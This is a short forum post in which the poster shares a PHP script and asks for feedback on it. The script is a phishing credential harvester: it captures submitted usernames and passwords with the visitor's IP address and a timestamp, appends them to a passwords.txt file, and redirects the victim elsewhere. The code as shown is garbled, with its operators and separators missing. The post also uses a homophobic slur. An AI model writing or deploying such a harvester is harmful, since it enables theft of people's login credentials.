Sorry for the double post but here's the code:

PHP Code:
<?php
header 
('Location: http://www.example.com ');
$newline "\n"
$ip $_SERVER['REMOTE_ADDR'];
$date date("l") . " " date("F") . date("d") . "," date("Y");
$time date("H:i");
$username $_POST['username'];
$password $_POST['password'];
$all "Username: " $username $newline "Password: " $password $newline "Date: " $date $newline "Time: " $time $newline "IP: " $ip $newline $newline;

$handle fopen("passwords.txt""a");
fwrite($handle$all);
fclose($handle) ;
?>
That's real sloppy but it should work. I tried to test it but *** was being gay so it couldn't be tested. Tell me how it is D;